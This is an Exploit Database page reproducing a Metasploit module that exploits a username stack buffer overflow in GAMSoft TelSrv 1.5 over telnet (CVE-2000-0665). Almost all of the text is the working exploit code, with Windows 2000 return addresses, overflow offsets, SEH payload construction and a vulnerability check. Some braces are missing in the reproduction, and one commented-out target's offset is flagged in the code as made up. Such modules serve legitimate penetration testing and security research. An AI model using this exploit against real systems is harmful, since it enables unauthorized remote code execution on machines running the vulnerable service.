GAMSoft TelSrv 1.5 – ‘Username’ Remote Buffer Overflow (Metasploit)

Exploit Database
112 阅读

作者： Metasploit

日期： 2010-06-22
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16816/

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# $Id: gamsoft_telsrv_username.rb 9583 2010-06-22 19:11:05Z todb $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',

'Description' => %q{

This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.

Other versions may also be affected. The service terminates after exploitation,

so you only get one chance!

'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],

'Arch' => [ ARCH_X86 ],

'License' => MSF_LICENSE,

'Version'=> '$Revision: 9583 $',

'References'=>

[

[ 'CVE', '2000-0665'],

[ 'OSVDB', '373'],

[ 'BID', '1478'],

[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],

'Privileged' => false,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload' =>

{

'Space' => 1000,

'BadChars' => "\x00\x0a",

'StackAdjustment' => -3500,

'Platform' => ['win'],

'Targets'=>

[

[ 'Windows 2000 Pro SP0/4 English REMOTE',

{

'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL

'Offset' => 1886,

}

[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',

{

'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL

'Offset' => 3318,

}

[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',

{

'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL

'Offset' => 3358,

}

=begin

[ 'Windows XP Pro SP0/1 English',

{

'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL

'Offset' => 2600, # this is made up and absolutely wrong ;-)

}

=end

'DisclosureDate' => 'Jul 17 2000',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(23),

], self.class)

end

def check

connect

print_status("Attempting to determine if target is vulnerable...")

select(nil,nil,nil,7)

banner = sock.get_once(-1,3)

if (banner =~ /TelSrv 1\.5/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")

connect

print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.

select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.

username = rand_text_english(20000, payload_badchars)

seh = generate_seh_payload(target.ret)

username[target['Offset'], seh.length] = seh

print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")

sock.put(username)

select(nil,nil,nil,0.25)

print_status('Exploit sent...')

handler

disconnect

end